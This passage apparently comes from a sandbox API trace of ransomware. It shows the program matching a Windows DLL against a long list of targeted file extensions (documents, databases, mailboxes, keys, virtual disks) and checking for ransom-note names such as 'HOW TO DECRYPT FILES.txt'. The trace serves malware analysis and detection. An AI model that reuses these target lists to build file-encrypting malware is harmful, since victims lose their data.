(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.myox") returned 0 [0122.997] lstrlenA (lpString="*.myox") returned 6 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.myo") returned 0 [0122.997] lstrlenA (lpString="*.myo") returned 5 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.qbw") returned 0 [0122.997] lstrlenA (lpString="*.qbw") returned 5 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.qbb") returned 0 [0122.997] lstrlenA (lpString="*.qbb") returned 5 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.qbm") returned 0 [0122.997] lstrlenA (lpString="*.qbm") returned 5 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.qbo") returned 0 [0122.997] lstrlenA (lpString="*.qbo") returned 5 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.qbx") returned 0 [0122.997] lstrlenA (lpString="*.qbx") returned 5 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.qba") returned 0 [0122.997] lstrlenA (lpString="*.qba") returned 5 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.qby") returned 0 [0122.997] lstrlenA (lpString="*.qby") returned 5 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.qbj") returned 0 [0122.997] lstrlenA (lpString="*.qbj") returned 5 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.ofx") returned 0 [0122.997] lstrlenA (lpString="*.ofx") returned 5 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.qif") returned 0 [0122.997] lstrlenA (lpString="*.qif") returned 5 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.mye") returned 0 [0122.997] lstrlenA (lpString="*.mye") returned 5 [0122.997] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.mbox") returned 0 [0122.997] lstrlenA (lpString="*.mbox") returned 6 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.eml") returned 0 [0122.998] lstrlenA (lpString="*.eml") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.pst") returned 0 [0122.998] lstrlenA (lpString="*.pst") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.ost") returned 0 [0122.998] lstrlenA (lpString="*.ost") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.idx") returned 0 [0122.998] lstrlenA (lpString="*.idx") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.dbx") returned 0 [0122.998] lstrlenA (lpString="*.dbx") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.sql") returned 0 [0122.998] lstrlenA (lpString="*.sql") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.mdb") returned 0 [0122.998] lstrlenA (lpString="*.mdb") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.fdb") returned 0 [0122.998] lstrlenA (lpString="*.fdb") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.wab") returned 0 [0122.998] lstrlenA (lpString="*.wab") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.dat") returned 0 [0122.998] lstrlenA (lpString="*.dat") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.txt") returned 0 [0122.998] lstrlenA (lpString="*.txt") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.jpeg") returned 0 [0122.998] lstrlenA (lpString="*.jpeg") returned 6 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.jpg") returned 0 [0122.998] lstrlenA (lpString="*.jpg") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.png") returned 0 [0122.998] lstrlenA (lpString="*.png") returned 5 [0122.998] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.php") returned 0 [0122.999] lstrlenA (lpString="*.php") returned 5 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.cs") returned 0 [0122.999] lstrlenA (lpString="*.cs") returned 4 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.cpp") returned 0 [0122.999] lstrlenA (lpString="*.cpp") returned 5 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.rar") returned 0 [0122.999] lstrlenA (lpString="*.rar") returned 5 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.zip") returned 0 [0122.999] lstrlenA (lpString="*.zip") returned 5 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.html") returned 0 [0122.999] lstrlenA (lpString="*.html") returned 6 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.htm") returned 0 [0122.999] lstrlenA (lpString="*.htm") returned 5 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.xlsx") returned 0 [0122.999] lstrlenA (lpString="*.xlsx") returned 6 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.xls") returned 0 [0122.999] lstrlenA (lpString="*.xls") returned 5 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.mp4") returned 0 [0122.999] lstrlenA (lpString="*.mp4") returned 5 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.ppt") returned 0 [0122.999] lstrlenA (lpString="*.ppt") returned 5 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.pptx") returned 0 [0122.999] lstrlenA (lpString="*.pptx") returned 6 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.doc") returned 0 [0122.999] lstrlenA (lpString="*.doc") returned 5 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.dot") returned 0 [0122.999] lstrlenA (lpString="*.dot") returned 5 [0122.999] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.docx") returned 0 [0122.999] lstrlenA (lpString="*.docx") returned 6 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.7z") returned 0 [0123.000] lstrlenA (lpString="*.7z") returned 4 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.tar") returned 0 [0123.000] lstrlenA (lpString="*.tar") returned 5 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.bz2") returned 0 [0123.000] lstrlenA (lpString="*.bz2") returned 5 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.gz") returned 0 [0123.000] lstrlenA (lpString="*.gz") returned 4 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.mkv") returned 0 [0123.000] lstrlenA (lpString="*.mkv") returned 5 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.eml") returned 0 [0123.000] lstrlenA (lpString="*.eml") returned 5 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.msg") returned 0 [0123.000] lstrlenA (lpString="*.msg") returned 5 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.edb") returned 0 [0123.000] lstrlenA (lpString="*.edb") returned 5 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.accdb") returned 0 [0123.000] lstrlenA (lpString="*.accdb") returned 7 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.odb") returned 0 [0123.000] lstrlenA (lpString="*.odb") returned 5 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.java") returned 0 [0123.000] lstrlenA (lpString="*.java") returned 6 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.asm") returned 0 [0123.000] lstrlenA (lpString="*.asm") returned 5 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.pfx") returned 0 [0123.000] lstrlenA (lpString="*.pfx") returned 5 [0123.000] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.pem") returned 0 [0123.000] lstrlenA (lpString="*.pem") returned 5 [0123.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.p12") returned 0 [0123.001] lstrlenA (lpString="*.p12") returned 5 [0123.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.gpg") returned 0 [0123.001] lstrlenA (lpString="*.gpg") returned 5 [0123.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.vsd") returned 0 [0123.001] lstrlenA (lpString="*.vsd") returned 5 [0123.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.odg") returned 0 [0123.001] lstrlenA (lpString="*.odg") returned 5 [0123.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.raw") returned 0 [0123.001] lstrlenA (lpString="*.raw") returned 5 [0123.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.nef") returned 0 [0123.001] lstrlenA (lpString="*.nef") returned 5 [0123.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.svg") returned 0 [0123.001] lstrlenA (lpString="*.svg") returned 5 [0123.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.psd") returned 0 [0123.001] lstrlenA (lpString="*.psd") returned 5 [0123.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.vmx") returned 0 [0123.001] lstrlenA (lpString="*.vmx") returned 5 [0123.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.vmdk") returned 0 [0123.001] lstrlenA (lpString="*.vmdk") returned 6 [0123.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.vdi") returned 0 [0123.001] lstrlenA (lpString="*.vdi") returned 5 [0123.001] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.lay6") returned 0 [0123.001] lstrlenA (lpString="*.lay6") returned 6 [0123.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.mpeg") returned 0 [0123.004] lstrlenA (lpString="*.mpeg") returned 6 [0123.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.djvu") returned 0 [0123.004] lstrlenA (lpString="*.djvu") returned 6 [0123.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.tiff") returned 0 [0123.004] lstrlenA (lpString="*.tiff") returned 6 [0123.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.backup") returned 0 [0123.004] lstrlenA (lpString="*.backup") returned 8 [0123.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.pdf") returned 0 [0123.004] lstrlenA (lpString="*.pdf") returned 5 [0123.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.cert") returned 0 [0123.004] lstrlenA (lpString="*.cert") returned 6 [0123.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.docm") returned 0 [0123.004] lstrlenA (lpString="*.docm") returned 6 [0123.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.xlsm") returned 0 [0123.004] lstrlenA (lpString="*.xlsm") returned 6 [0123.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.dwg") returned 0 [0123.004] lstrlenA (lpString="*.dwg") returned 5 [0123.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.nd") returned 0 [0123.004] lstrlenA (lpString="*.nd") returned 4 [0123.004] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.tlg") returned 0 [0123.004] lstrlenA (lpString="*.tlg") returned 5 [0123.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.lgb") returned 0 [0123.005] lstrlenA (lpString="*.lgb") returned 5 [0123.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.mov") returned 0 [0123.005] lstrlenA (lpString="*.mov") returned 5 [0123.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.xdw") returned 0 [0123.005] lstrlenA (lpString="*.xdw") returned 5 [0123.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.ods") returned 0 [0123.005] lstrlenA (lpString="*.ods") returned 5 [0123.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.wav") returned 0 [0123.005] lstrlenA (lpString="*.wav") returned 5 [0123.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.mp3") returned 0 [0123.005] lstrlenA (lpString="*.mp3") returned 5 [0123.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.aiff") returned 0 [0123.005] lstrlenA (lpString="*.aiff") returned 6 [0123.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.flac") returned 0 [0123.005] lstrlenA (lpString="*.flac") returned 6 [0123.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.m4a") returned 0 [0123.005] lstrlenA (lpString="*.m4a") returned 5 [0123.005] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.csv") returned 0 [0123.005] lstrlenA (lpString="*.csv") returned 5 [0123.005] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae9e9850, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xae9e9850, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xae9e9850, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 1 [0123.005] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0123.005] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DynamicData.Design.ni.dll.aux") returned -1 [0123.005] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DynamicData.Design.ni.dll.aux") returned -1 [0123.005] lstrcmpiA (lpString1="", lpString2="System.Web.DynamicData.Design.ni.dll.aux") returned -1 [0123.005] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\System.Web.DynamicData.Design.ni.dll") returned="System.Web.DynamicData.Design.ni.dll" [0123.006] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\" [0123.006] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Web.9c7998a9#\\857a4205a3e6f5c33e522631a4e7763d\\") returned="" [0123.006] lstrcatA (in: 